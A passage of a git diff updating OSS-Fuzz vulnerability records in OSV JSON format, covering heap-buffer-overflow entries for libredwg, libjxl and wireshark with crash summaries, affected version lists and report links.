.12.5.6044","0.12.5.6046","0.12.5.6055","0.12.5.6057","0.12.5.6068","0.12.5.6076","0.12.5.6077","0.12.5.6078","0.12.5.6080","0.12.5.6090","0.12.5.6096","0.12.5.6102","0.12.5.6109","0.12.5.6111","0.12.5.6113","0.12.5.6116","0.12.5.6118","0.12.5.6121","0.12.5.6127","0.12.5.6128","0.12.5.6133","0.12.5.6135","0.12.5.6138","0.12.5.6147","0.12.5.6149","0.12.5.6157","0.12.5.6160","0.12.5.6162","0.12.5.6164","0.12.5.6169","0.12.5.6171","0.12.5.6173","0.12.5.6183","0.12.5.6187","0.12.5.6191","0.12.5.6194","0.12.5.6199","0.12.5.6203","0.12.5.6205","0.12.5.6209","0.12.5.6214","0.12.5.6216","0.12.5.6220","0.12.5.6226","0.12.5.6229","0.12.5.6231","0.12.5.6236","0.12.5.6241","0.12.5.6243","0.12.5.6245","0.12.5.6248","0.12.5.6253","0.12.5.6257","0.12.5.6263","0.12.5.6269","0.12.5.6271","0.12.5.6277","0.12.5.6279","0.12.5.6285","0.12.5.6294","0.12.5.6302","0.12.5.6306","0.12.5.6310","0.12.5.6313","0.12.5.6316","0.12.5.6319","0.12.5.6321","0.12.5.6325","0.12.5.6333","0.12.5.6342","0.12.5.6347","0.12.5.6350","0.12.5.6355","0.12.5.6357","0.12.5.6360","0.12.5.6362","0.12.5.6366","0.12.5.6369","0.12.5.6374","0.12.5.6377","0.12.5.6384","0.12.5.6388","0.12.5.6391","0.12.5.6394","0.12.5.6399","0.12.5.6402","0.12.5.6406","0.12.5.6417","0.12.5.6424","0.12.5.6430","0.12.5.6432","0.12.5.6434","0.12.5.6437","0.12.5.6439","0.12.5.6444","0.12.5.6456","0.12.5.6459","0.12.5.6461","0.12.5.6465","0.12.5.6468","0.12.5.6479","0.12.5.6483","0.12.5.6488","0.12.5.6493","0.12.5.6495","0.12.5.6501","0.12.5.6511","0.12.5.6513","0.12.5.6517","0.12.5.6527","0.12.5.6533","0.12.5.6534","0.12.5.6539","0.12.5.6543","0.12.5.6548","0.12.5.6550","0.12.5.6564","0.12.5.6573","0.12.5.6578","0.12.5.6582","0.12.5.6585","0.12.5.6588","0.12.5.6597","0.12.5.6599","0.12.5.6605","0.12.5.6609","0.12.5.6612","0.12.5.6619","0.12.5.6622","0.12.5.6627","0.12.5.6630","0.12.5.6638","0.12.5.6640","0.12.5.6652","0.12.5.6653","0.12.5.6661","0.12.5.6664","0.12.5.6670","0.12.5.6677","0.12.5.6682","0.12.5.6688","0.12.5.6697","0.12.5.6701","0.12.5.6709","0.12.5.6714","0.12.5.6717","0.12.5.6726","0.12.5.6735","0.12.5.6739","0.12.5.6754","0.12.5.6756","0.12.5.6768","0.12.5.6776","0.12.5.6785","0.12.5.6792","0.12.5.6802","0.12.5.6811","0.12.5.6819","0.12.5.6828","0.12.5.6836","0.12.5.6843","0.12.5.6851","0.12.5.6865","0.12.5.6872","0.12.5.6891","0.12.5.6912","0.12.5.6915","0.12.5.6924","0.12.5.6926","0.12.5.6932","0.12.5.6938","0.12.5.6939","0.12.5.6945","0.12.5.6948","0.12.5.6953","0.12.5.6958","0.12.5.6962","0.12.5.6971","0.12.5.6973","0.12.5.6979","0.12.5.6984","0.12.5.6987","0.12.5.6992","0.12.5.6996","0.13","0.13.0.7003","0.13.0.7011","0.13.0.7013","0.13.0.7031","0.13.0.7036","0.13.0.7045","0.13.0.7047","0.13.0.7050","0.13.0.7060","0.13.0.7066","0.13.0.7072","0.13.0.7081","0.13.1","0.13.1.7087","0.13.2","0.13.2.7111","0.13.2.7114","0.13.2.7117","0.13.2.7125","0.13.2.7142","0.13.2.7151","0.13.2.7153","0.13.2.7154","0.13.3","0.13.3.7163","0.13.3.7165","0.13.3.7166","0.13.3.7168","0.13.3.7176","0.13.3.7183","0.13.3.7186","0.13.3.7187","0.13.3.7190","0.13.3.7199","0.13.3.7217","0.13.3.7220","0.13.3.7223","0.13.3.7224","0.13.3.7225","0.13.3.7226","0.13.3.7227","0.13.3.7233","0.13.3.7240","0.13.3.7246","0.13.3.7251","0.13.3.7257","0.13.3.7259","0.13.3.7262","0.13.3.7264","0.13.3.7265","0.13.3.7268","0.13.3.7270","0.13.3.7273","0.13.3.7298","0.13.3.7306","0.13.3.7308","0.13.3.7311","0.13.3.7320","0.13.3.7324","0.13.3.7327","0.13.3.7338","0.13.3.7341","0.13.3.7344","0.13.3.7345","0.13.3.7351","0.13.3.7371","0.13.3.7377","0.13.3.7385","0.13.3.7405","0.13.3.7409","0.13.3.7411","0.13.3.7412","0.13.3.7414","0.13.3.7420","0.13.3.7424","0.13.3.7426","0.13.3.7429","0.13.3.7431","0.13.3.7434","0.13.3.7437","0.13.3.7442","0.13.3.7445","0.13.3.7453","0.13.3.7456","0.13.3.7460","0.13.3.7466","0.13.3.7469","0.13.3.7472","0.13.3.7473","0.13.3.7483","0.13.3.7491","0.13.3.7501","0.13.3.7507","0.13.3.7516","0.13.3.7533","0.13.3.7534","0.13.3.7535","0.13.3.7539","0.13.3.7545","0.13.3.7551","0.13.3.7552","0.13.3.7554","0.13.3.7557","0.13.3.7558","0.13.3.7562","0.13.3.7571","0.13.3.7574","0.13.3.7577","0.13.3.7582","0.13.3.7599","0.13.3.7600","0.13.3.7603","0.13.3.7635","0.13.3.7637","0.13.3.7640","0.13.3.7646","0.13.3.7649","0.13.3.7650","0.13.3.7657","0.13.3.7663","0.13.3.7665","0.13.3.7675","0.13.3.7680","0.13.3.7685","0.13.3.7686","0.13.3.7690","0.13.3.7696","0.13.3.7702","0.13.3.7715","0.13.3.7721","0.13.3.7727","0.13.3.7730","0.13.3.7737","0.13.3.7741","0.13.3.7743","0.13.3.7752","0.13.3.7761","0.13.3.7763","0.13.3.7772","0.13.3.7776","0.13.3.7778","0.13.3.7789","0.13.3.7792","0.13.3.7794","0.13.3.7797","0.13.3.7802","0.13.3.7805","0.13.3.7808","0.13.3.7810","0.13.3.7812","0.13.3.7813","0.13.3.7816","0.13.3.7819","0.13.3.7825","0.13.3.7828","0.13.3.7835","0.13.3.7842","0.13.3.7846","0.13.3.7848","0.13.3.7849","0.13.3.7850","0.13.3.7851","0.13.3.7852","0.13.3.7861","0.13.3.7867","0.13.3.7873","0.13.3.7883","0.13.3.7897","0.13.3.7901","0.13.3.7906","0.13.3.7913","0.13.3.7918","0.13.3.7928","0.13.3.7932","0.13.4.7951","0.13.4.7953","0.13.4.7958","0.13.4.7963","0.13.4.7964","0.13.4","0.13.4.7969","0.13.4.7974","0.13.4.7976","0.13.4.7985","0.13.4.7998","0.13.4.8001","0.13.4.8014","0.13.4.8018","0.13.4.8028","0.13.4.8029","0.13.4.8036","0.13.4.8043","0.13.4.8051","0.13.4.8055","0.13.4.8085","0.13.4.8091","0.13.4.8104","0.13.4.8112","0.13.4.8115","0.13.4.8118","0.13.4.8123","0.13.4.8129","0.13.4.8131","0.13.4.8140","0.13.4.8144","0.13.4.8149","0.13.4.8160","0.13.4.8163","0.13.4.8166","0.13.4.8168","0.13.4.8169","0.13.4.8171","0.13.4.8174","0.13.4.8178","0.13.4.8187","0.13.4.8198","0.13.4.8200","0.13.4.8214","0.13.4.8216","0.13.4.8229","0.13.4.8230","0.13.4.8231","0.13.4.8234","0.13.4.8236","0.13.4.8237","0.13.4.8241","0.13.4.8246","0.13.4.8249","0.13.4.8252","0.13.4.8263","0.13.4.8268","0.13.4.8270","0.13.4.8273","0.13.4.8278","0.13.4.8284","0.13.4.8285","0.13.4.8293","0.13.4.8294","0.13.4.8295","0.13.4.8302","0.13.4.8304","0.13.4.8313","0.13.4.8317","0.13.4.8321","0.13.4.8336","0.13.4.8343","0.13.4.8348","0.13.4.8351","0.13.4.8356","0.13.4.8360","0.14","0.14.8363","0.14.8367","0.14.8374","0.14.8384","0.14.8390","0.14.8394","0.14.8396","0.14.8403","0.14.8406","0.14.8411","0.14.8413","0.14.8415","0.14.8418","0.14.8421","0.14.8433","0.14.8447","0.14.8460","0.14.8464","0.14.8465","0.14.8471","0.14.8487","0.14.8488","0.14.8492","0.14.8522","0.14.8531","0.14.8544","0.14.8547","0.14.8553","0.14.8554","0.14.8556","0.14.8561","0.14.8566","0.14.8578","0.14.8580","0.14.8583","0.14.8584","0.14.8585","0.14.8590","0.14.8592","0.14.8593","0.14.8594","0.14.8597","0.14.8599","0.14.8600","0.14.8601","0.14.8607","0.14.8608","0.14.8612","0.14.8622","0.14.8623","0.14.8625","0.14.8630","0.14.8635","0.14.8639","0.14.8641","0.14.8654","0.14.8656","0.14.8676","0.14.8679","0.14.8726","0.14.8739","0.14.8744","0.14.8750","0.14.8755","0.14.8758","0.14.8761","0.14.8768","0.14.8815","0.14.8823","0.14.8829","0.14.8838","0.14.8841","0.14.8847","0.14.8848","0.14.8850","0.14.8857","0.14.8869","0.14.8878","0.14.8887","0.14.8893","0.14.8907","0.14.8913","0.14.8922","0.14.8927"],"ecosystem_specific":{"severity":"HIGH"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/libredwg/OSV-2022-714.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=50194"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2022-714","published":"2022-08-15T00:00:47.794062Z","modified":"2026-11-12T14:30:04.355338067Z","summary":"Heap-buffer-overflow in dynapi_set_helper","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=50194\n\n```\nCrash type: Heap-buffer-overflow WRITE 16\nCrash state:\ndynapi_set_helper\ndwg_dynapi_header_set_value\njson_HEADER\n```\n","affected":[{"package":{"name":"libredwg","ecosystem":"OSS-Fuzz","purl":"pkg:generic/libredwg"},"ranges":[{"type":"GIT","repo":"https://github.com/LibreDWG/libredwg","events":[{"introduced":"8984c223f14dc81180ca5da66f92e5932992bb5c"}]}],"versions":["0.12.4.4635","0.12.4.4637","0.12.4.4641","0.12.4.4643","0.12.4.4647","0.12.4.4652","0.12.4.4654","0.12.4.4658","0.12.4.4660","0.12.4.4668","0.12.5.4669","0.12.5.4678","0.12.5.4685","0.12.5.4690","0.12.5.4693","0.12.5.4695","0.12.5.4697","0.12.5.4700","0.12.5.4709","0.12.5.4712","0.12.5.4715","0.12.5.4722","0.12.5.4724","0.12.5.4726","0.12.5.4731","0.12.5.4735","0.12.5.4739","0.12.5.4741","0.12.5.4743","0.12.5.4748","0.12.5.4750","0.12.5.4756","0.12.5.4760","0.12.5.4763","0.12.5.4765","0.12.5.4772","0.12.5.4776","0.12.5.4780","0.12.5.4784","0.12.5.4787","0.12.5.4797","0.12.5.4803","0.12.5.4805","0.12.5.4815","0.12.5.4820","0.12.5.4823","0.12.5.4825","0.12.5.4831","0.12.5.4833","0.12.5.4835","0.12.5.4837","0.12.5.4838","0.12.5.4852","0.12.5.4859","0.12.5.4865","0.12.5.4873","0.12.5.4881","0.12.5.4885","0.12.5.4887","0.12.5.4890","0.12.5.4893","0.12.5.4896","0.12.5.4911","0.12.5.4913","0.12.5.4915","0.12.5.4925","0.12.5.4931","0.12.5.4934","0.12.5.4937","0.12.5.4943","0.12.5.4944","0.12.5.4945","0.12.5.4959","0.12.5.4969","0.12.5.4998","0.12.5.5001","0.12.5.5002","0.12.5.5004","0.12.5.5007","0.12.5.5010","0.12.5.5016","0.12.5.5024","0.12.5.5028","0.12.5.5030","0.12.5.5035","0.12.5.5040","0.12.5.5044","0.12.5.5046","0.12.5.5050","0.12.5.5052","0.12.5.5060","0.12.5.5061","0.12.5.5066","0.12.5.5085","0.12.5.5091","0.12.5.5092","0.12.5.5093","0.12.5.5094","0.12.5.5095","0.12.5.5097","0.12.5.5101","0.12.5.5103","0.12.5.5104","0.12.5.5111","0.12.5.5122","0.12.5.5135","0.12.5.5137","0.12.5.5140","0.12.5.5142","0.12.5.5161","0.12.5.5163","0.12.5.5169","0.12.5.5170","0.12.5.5178","0.12.5.5179","0.12.5.5182","0.12.5.5183","0.12.5.5184","0.12.5.5185","0.12.5.5186","0.12.5.5195","0.12.5.5203","0.12.5.5206","0.12.5.5207","0.12.5.5227","0.12.5.5245","0.12.5.5249","0.12.5.5256","0.12.5.5269","0.12.5.5270","0.12.5.5271","0.12.5.5288","0.12.5.5314","0.12.5.5320","0.12.5.5329","0.12.5.5333","0.12.5.5334","0.12.5.5340","0.12.5.5342","0.12.5.5344","0.12.5.5348","0.12.5.5353","0.12.5.5356","0.12.5.5364","0.12.5.5377","0.12.5.5385","0.12.5.5391","0.12.5.5393","0.12.5.5395","0.12.5.5396","0.12.5.5405","0.12.5.5411","0.12.5.5415","0.12.5.5417","0.12.5.5422","0.12.5.5429","0.12.5.5432","0.12.5.5435","0.12.5.5439","0.12.5.5442","0.12.5.5445","0.12.5.5454","0.12.5.5458","0.12.5.5462","0.12.5.5465","0.12.5.5469","0.12.5.5471","0.12.5.5473","0.12.5.5474","0.12.5.5487","0.12.5.5494","0.12.5.5504","0.12.5.5506","0.12.5.5513","0.12.5.5516","0.12.5.5518","0.12.5.5521","0.12.5.5528","0.12.5.5530","0.12.5.5537","0.12.5.5539","0.12.5.5544","0.12.5.5546","0.12.5.5549","0.12.5.5552","0.12.5.5554","0.12.5.5557","0.12.5.5560","0.12.5.5563","0.12.5.5570","0.12.5.5577","0.12.5.5584","0.12.5.5625","0.12.5.5646","0.12.5.5648","0.12.5.5654","0.12.5.5656","0.12.5.5660","0.12.5.5663","0.12.5.5666","0.12.5.5667","0.12.5.5668","0.12.5.5671","0.12.5.5688","0.12.5.5691","0.12.5.5697","0.12.5.5700","0.12.5.5708","0.12.5.5710","0.12.5.5712","0.12.5.5713","0.12.5.5716","0.12.5.5720","0.12.5.5721","0.12.5.5725","0.12.5.5731","0.12.5.5733","0.12.5.5741","0.12.5.5745","0.12.5.5746","0.12.5.5748","0.12.5.5751","0.12.5.5754","0.12.5.5759","0.12.5.5761","0.12.5.5764","0.12.5.5772","0.12.5.5779","0.12.5.5784","0.12.5.5787","0.12.5.5789","0.12.5.5793","0.12.5.5796","0.12.5.5799","0.12.5.5802","0.12.5.5804","0.12.5.5806","0.12.5.5809","0.12.5.5811","0.12.5.5813","0.12.5.5822","0.12.5.5827","0.12.5.5830","0.12.5.5832","0.12.5.5837","0.12.5.5845","0.12.5.5852","0.12.5.5856","0.12.5.5859","0.12.5.5862","0.12.5.5865","0.12.5.5870","0.12.5.5875","0.12.5.5877","0.12.5.5882","0.12.5.5885","0.12.5.5887","0.12.5.5889","0.12.5.5894","0.12.5.5898","0.12.5.5903","0.12.5.5907","0.12.5.5914","0.12.5.5915","0.12.5.5922","0.12.5.5949","0.12.5.5953","0.12.5.5959","0.12.5.5962","0.12.5.5968","0.12.5.5970","0.12.5.5971","0.12.5.5975","0.12.5.5982","0.12.5.6001","0.12.5.6004","0.12.5.6010","0.12.5.6013","0.12.5.6016","0.12.5.6019","0.12.5.6022","0.12.5.6023","0.12.5.6027","0.12.5.6033","0.12.5.6037","0.12.5.6040","0.12.5.6043","0.12.5.6044","0.12.5.6046","0.12.5.6055","0.12.5.6057","0.12.5.6068","0.12.5.6076","0.12.5.6077","0.12.5.6078","0.12.5.6080","0.12.5.6090","0.12.5.6096","0.12.5.6102","0.12.5.6109","0.12.5.6111","0.12.5.6113","0.12.5.6116","0.12.5.6118","0.12.5.6121","0.12.5.6127","0.12.5.6128","0.12.5.6133","0.12.5.6135","0.12.5.6138","0.12.5.6147","0.12.5.6149","0.12.5.6157","0.12.5.6160","0.12.5.6162","0.12.5.6164","0.12.5.6169","0.12.5.6171","0.12.5.6173","0.12.5.6183","0.12.5.6187","0.12.5.6191","0.12.5.6194","0.12.5.6199","0.12.5.6203","0.12.5.6205","0.12.5.6209","0.12.5.6214","0.12.5.6216","0.12.5.6220","0.12.5.6226","0.12.5.6229","0.12.5.6231","0.12.5.6236","0.12.5.6241","0.12.5.6243","0.12.5.6245","0.12.5.6248","0.12.5.6253","0.12.5.6257","0.12.5.6263","0.12.5.6269","0.12.5.6271","0.12.5.6277","0.12.5.6279","0.12.5.6285","0.12.5.6294","0.12.5.6302","0.12.5.6306","0.12.5.6310","0.12.5.6313","0.12.5.6316","0.12.5.6319","0.12.5.6321","0.12.5.6325","0.12.5.6333","0.12.5.6342","0.12.5.6347","0.12.5.6350","0.12.5.6355","0.12.5.6357","0.12.5.6360","0.12.5.6362","0.12.5.6366","0.12.5.6369","0.12.5.6374","0.12.5.6377","0.12.5.6384","0.12.5.6388","0.12.5.6391","0.12.5.6394","0.12.5.6399","0.12.5.6402","0.12.5.6406","0.12.5.6417","0.12.5.6424","0.12.5.6430","0.12.5.6432","0.12.5.6434","0.12.5.6437","0.12.5.6439","0.12.5.6444","0.12.5.6456","0.12.5.6459","0.12.5.6461","0.12.5.6465","0.12.5.6468","0.12.5.6479","0.12.5.6483","0.12.5.6488","0.12.5.6493","0.12.5.6495","0.12.5.6501","0.12.5.6511","0.12.5.6513","0.12.5.6517","0.12.5.6527","0.12.5.6533","0.12.5.6534","0.12.5.6539","0.12.5.6543","0.12.5.6548","0.12.5.6550","0.12.5.6564","0.12.5.6573","0.12.5.6578","0.12.5.6582","0.12.5.6585","0.12.5.6588","0.12.5.6597","0.12.5.6599","0.12.5.6605","0.12.5.6609","0.12.5.6612","0.12.5.6619","0.12.5.6622","0.12.5.6627","0.12.5.6630","0.12.5.6638","0.12.5.6640","0.12.5.6652","0.12.5.6653","0.12.5.6661","0.12.5.6664","0.12.5.6670","0.12.5.6677","0.12.5.6682","0.12.5.6688","0.12.5.6697","0.12.5.6701","0.12.5.6709","0.12.5.6714","0.12.5.6717","0.12.5.6726","0.12.5.6735","0.12.5.6739","0.12.5.6754","0.12.5.6756","0.12.5.6768","0.12.5.6776","0.12.5.6785","0.12.5.6792","0.12.5.6802","0.12.5.6811","0.12.5.6819","0.12.5.6828","0.12.5.6836","0.12.5.6843","0.12.5.6851","0.12.5.6865","0.12.5.6872","0.12.5.6891","0.12.5.6912","0.12.5.6915","0.12.5.6924","0.12.5.6926","0.12.5.6932","0.12.5.6938","0.12.5.6939","0.12.5.6945","0.12.5.6948","0.12.5.6953","0.12.5.6958","0.12.5.6962","0.12.5.6971","0.12.5.6973","0.12.5.6979","0.12.5.6984","0.12.5.6987","0.12.5.6992","0.12.5.6996","0.13","0.13.0.7003","0.13.0.7011","0.13.0.7013","0.13.0.7031","0.13.0.7036","0.13.0.7045","0.13.0.7047","0.13.0.7050","0.13.0.7060","0.13.0.7066","0.13.0.7072","0.13.0.7081","0.13.1","0.13.1.7087","0.13.2","0.13.2.7111","0.13.2.7114","0.13.2.7117","0.13.2.7125","0.13.2.7142","0.13.2.7151","0.13.2.7153","0.13.2.7154","0.13.3","0.13.3.7163","0.13.3.7165","0.13.3.7166","0.13.3.7168","0.13.3.7176","0.13.3.7183","0.13.3.7186","0.13.3.7187","0.13.3.7190","0.13.3.7199","0.13.3.7217","0.13.3.7220","0.13.3.7223","0.13.3.7224","0.13.3.7225","0.13.3.7226","0.13.3.7227","0.13.3.7233","0.13.3.7240","0.13.3.7246","0.13.3.7251","0.13.3.7257","0.13.3.7259","0.13.3.7262","0.13.3.7264","0.13.3.7265","0.13.3.7268","0.13.3.7270","0.13.3.7273","0.13.3.7298","0.13.3.7306","0.13.3.7308","0.13.3.7311","0.13.3.7320","0.13.3.7324","0.13.3.7327","0.13.3.7338","0.13.3.7341","0.13.3.7344","0.13.3.7345","0.13.3.7351","0.13.3.7371","0.13.3.7377","0.13.3.7385","0.13.3.7405","0.13.3.7409","0.13.3.7411","0.13.3.7412","0.13.3.7414","0.13.3.7420","0.13.3.7424","0.13.3.7426","0.13.3.7429","0.13.3.7431","0.13.3.7434","0.13.3.7437","0.13.3.7442","0.13.3.7445","0.13.3.7453","0.13.3.7456","0.13.3.7460","0.13.3.7466","0.13.3.7469","0.13.3.7472","0.13.3.7473","0.13.3.7483","0.13.3.7491","0.13.3.7501","0.13.3.7507","0.13.3.7516","0.13.3.7533","0.13.3.7534","0.13.3.7535","0.13.3.7539","0.13.3.7545","0.13.3.7551","0.13.3.7552","0.13.3.7554","0.13.3.7557","0.13.3.7558","0.13.3.7562","0.13.3.7571","0.13.3.7574","0.13.3.7577","0.13.3.7582","0.13.3.7599","0.13.3.7600","0.13.3.7603","0.13.3.7635","0.13.3.7637","0.13.3.7640","0.13.3.7646","0.13.3.7649","0.13.3.7650","0.13.3.7657","0.13.3.7663","0.13.3.7665","0.13.3.7675","0.13.3.7680","0.13.3.7685","0.13.3.7686","0.13.3.7690","0.13.3.7696","0.13.3.7702","0.13.3.7715","0.13.3.7721","0.13.3.7727","0.13.3.7730","0.13.3.7737","0.13.3.7741","0.13.3.7743","0.13.3.7752","0.13.3.7761","0.13.3.7763","0.13.3.7772","0.13.3.7776","0.13.3.7778","0.13.3.7789","0.13.3.7792","0.13.3.7794","0.13.3.7797","0.13.3.7802","0.13.3.7805","0.13.3.7808","0.13.3.7810","0.13.3.7812","0.13.3.7813","0.13.3.7816","0.13.3.7819","0.13.3.7825","0.13.3.7828","0.13.3.7835","0.13.3.7842","0.13.3.7846","0.13.3.7848","0.13.3.7849","0.13.3.7850","0.13.3.7851","0.13.3.7852","0.13.3.7861","0.13.3.7867","0.13.3.7873","0.13.3.7883","0.13.3.7897","0.13.3.7901","0.13.3.7906","0.13.3.7913","0.13.3.7918","0.13.3.7928","0.13.3.7932","0.13.4.7951","0.13.4.7953","0.13.4.7958","0.13.4.7963","0.13.4.7964","0.13.4","0.13.4.7969","0.13.4.7974","0.13.4.7976","0.13.4.7985","0.13.4.7998","0.13.4.8001","0.13.4.8014","0.13.4.8018","0.13.4.8028","0.13.4.8029","0.13.4.8036","0.13.4.8043","0.13.4.8051","0.13.4.8055","0.13.4.8085","0.13.4.8091","0.13.4.8104","0.13.4.8112","0.13.4.8115","0.13.4.8118","0.13.4.8123","0.13.4.8129","0.13.4.8131","0.13.4.8140","0.13.4.8144","0.13.4.8149","0.13.4.8160","0.13.4.8163","0.13.4.8166","0.13.4.8168","0.13.4.8169","0.13.4.8171","0.13.4.8174","0.13.4.8178","0.13.4.8187","0.13.4.8198","0.13.4.8200","0.13.4.8214","0.13.4.8216","0.13.4.8229","0.13.4.8230","0.13.4.8231","0.13.4.8234","0.13.4.8236","0.13.4.8237","0.13.4.8241","0.13.4.8246","0.13.4.8249","0.13.4.8252","0.13.4.8263","0.13.4.8268","0.13.4.8270","0.13.4.8273","0.13.4.8278","0.13.4.8284","0.13.4.8285","0.13.4.8293","0.13.4.8294","0.13.4.8295","0.13.4.8302","0.13.4.8304","0.13.4.8313","0.13.4.8317","0.13.4.8321","0.13.4.8336","0.13.4.8343","0.13.4.8348","0.13.4.8351","0.13.4.8356","0.13.4.8360","0.14","0.14.8363","0.14.8367","0.14.8374","0.14.8384","0.14.8390","0.14.8394","0.14.8396","0.14.8403","0.14.8406","0.14.8411","0.14.8413","0.14.8415","0.14.8418","0.14.8421","0.14.8433","0.14.8447","0.14.8460","0.14.8464","0.14.8465","0.14.8471","0.14.8487","0.14.8488","0.14.8492","0.14.8522","0.14.8531","0.14.8544","0.14.8547","0.14.8553","0.14.8554","0.14.8556","0.14.8561","0.14.8566","0.14.8578","0.14.8580","0.14.8583","0.14.8584","0.14.8585","0.14.8590","0.14.8592","0.14.8593","0.14.8594","0.14.8597","0.14.8599","0.14.8600","0.14.8601","0.14.8607","0.14.8608","0.14.8612","0.14.8622","0.14.8623","0.14.8625","0.14.8630","0.14.8635","0.14.8639","0.14.8641","0.14.8654","0.14.8656","0.14.8676","0.14.8679","0.14.8726","0.14.8739","0.14.8744","0.14.8750","0.14.8755","0.14.8758","0.14.8761","0.14.8768","0.14.8815","0.14.8823","0.14.8829","0.14.8838","0.14.8841","0.14.8847","0.14.8848","0.14.8850","0.14.8857","0.14.8869","0.14.8878","0.14.8887","0.14.8893","0.14.8907","0.14.8913","0.14.8922","0.14.8927","0.14.8931","0.14.8933","0.14.8936","0.14.8941","0.14.8946"],"ecosystem_specific":{"severity":"HIGH"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/libredwg/OSV-2022-714.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=50194"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2022-725.json b/data/OSS-Fuzz/OSV-2022-725.json index 8c06dd604c..d21ce80707 100644 --- a/data/OSS-Fuzz/OSV-2022-725.json +++ b/data/OSS-Fuzz/OSV-2022-725.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"OSV-2022-725","published":"2022-08-18T00:01:05.918943Z","modified":"2026-11-11T14:30:03.783986990Z","summary":"Heap-buffer-overflow in jxl::N_EMU128::WriteToU8Stage::ProcessRow","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=50295\n\n```\nCrash type: Heap-buffer-overflow WRITE 1\nCrash state:\njxl::N_EMU128::WriteToU8Stage::ProcessRow\njxl::LowMemoryRenderPipeline::RenderRect\njxl::LowMemoryRenderPipeline::ProcessBuffers\n```\n","affected":[{"package":{"name":"libjxl","ecosystem":"OSS-Fuzz","purl":"pkg:generic/libjxl"},"ranges":[{"type":"GIT","repo":"https://github.com/libjxl/libjxl.git","events":[{"introduced":"a50e71631cabfbdd57d540ba080ecec19b4664af"}]}],"versions":["v0.8.0rc1","v0.8.0","v0.8.1","v0.9-snapshot","v0.8.2","v0.9.0","v0.9.1","v0.9.2","v0.10.0","v0.10-snapshot","v0.10.1","v0.10.2","v0.10.3","v0.8.3","v0.9.3","v0.11-snapshot","v0.11.0","v0.10.4","v0.11.1","v0.8.4","v0.9.4","v0.10.5","v0.11.2","v0.8.5","v0.9.5","v0.12-snapshot","v0.12.0","v0.13.0"],"ecosystem_specific":{"severity":"HIGH"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/libjxl/OSV-2022-725.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=50295"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2022-725","published":"2022-08-18T00:01:05.918943Z","modified":"2026-11-12T14:30:05.299150450Z","summary":"Heap-buffer-overflow in jxl::N_EMU128::WriteToU8Stage::ProcessRow","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=50295\n\n```\nCrash type: Heap-buffer-overflow WRITE 1\nCrash state:\njxl::N_EMU128::WriteToU8Stage::ProcessRow\njxl::LowMemoryRenderPipeline::RenderRect\njxl::LowMemoryRenderPipeline::ProcessBuffers\n```\n","affected":[{"package":{"name":"libjxl","ecosystem":"OSS-Fuzz","purl":"pkg:generic/libjxl"},"ranges":[{"type":"GIT","repo":"https://github.com/libjxl/libjxl.git","events":[{"introduced":"a50e71631cabfbdd57d540ba080ecec19b4664af"}]}],"versions":["v0.8.0rc1","v0.8.0","v0.8.1","v0.9-snapshot","v0.8.2","v0.9.0","v0.9.1","v0.9.2","v0.10.0","v0.10-snapshot","v0.10.1","v0.10.2","v0.10.3","v0.8.3","v0.9.3","v0.11-snapshot","v0.11.0","v0.10.4","v0.11.1","v0.8.4","v0.9.4","v0.10.5","v0.11.2","v0.8.5","v0.9.5","v0.12-snapshot","v0.12.0","v0.13.0","v0.13-snapshot"],"ecosystem_specific":{"severity":"HIGH"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/libjxl/OSV-2022-725.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=50295"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2022-867.json b/data/OSS-Fuzz/OSV-2022-867.json index be10e34c0c..52fbedb986 100644 --- a/data/OSS-Fuzz/OSV-2022-867.json +++ b/data/OSS-Fuzz/OSV-2022-867.json @@ -1 +1 @@ -{"schema_version":"1.9.0","id":"OSV-2022-867","published":"2022-09-09T00:01:54.157712Z","modified":"2026-10-22T19:08:21.081934619Z","summary":"Heap-buffer-overflow in get_utf_8_string","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=51090\n\n```\nCrash type: Heap-buffer-overflow READ 1\nCrash state:\nget_utf_8_string\ndissect_form_urlencoded\ncall_dissector_work\n```\n","affected":[{"package":{"name":"wireshark","ecosystem":"OSS-Fuzz","purl":"pkg:generic/wireshark"},"ranges":[{"type":"GIT","repo":"https://gitlab.com/wireshark/wireshark.git","events":[{"introduced":"248ff020e7ea17785cc9451f6d24ad61c4310d1f"}]}],"versions":["v4.1.0","v4.1.1rc0","v4.2.0rc0","v4.3.0rc0","v4.2.0rc1","v4.2.0rc2","wireshark-4.2.0rc2","v4.2.0rc3","v4.2.0","v4.2.1rc0","wireshark-4.2.0","v4.2.1","v4.2.2rc0","wireshark-4.2.1","v4.2.2","v4.2.3rc0","wireshark-4.2.2","v4.2.3","v4.2.4rc0","wireshark-4.2.3","v4.2.4","v4.2.5rc0","wireshark-4.2.4","v4.2.5","v4.2.6rc0","wireshark-4.2.5","v4.3.0rc1","v4.2.6","v4.2.7rc0","wireshark-4.2.6","v4.3.0","v4.3.1rc0","v4.3.1","v4.3.2rc0","v4.4.0rc0","v4.5.0rc0","v4.4.0rc1","v4.2.7","v4.2.8rc0","v4.4.0","v4.4.1rc0","wireshark-4.2.7","wireshark-4.4.0","v4.2.8","v4.2.9rc0","v4.4.1","v4.4.2rc0","wireshark-4.2.8","wireshark-4.4.1","v4.2.10rc0","v4.2.9","v4.4.2","v4.4.3rc0","wireshark-4.2.9","wireshark-4.4.2","ssv0.9.0rc0","v4.2.10","v4.2.11rc0","v4.4.3","v4.4.4rc0","wireshark-4.2.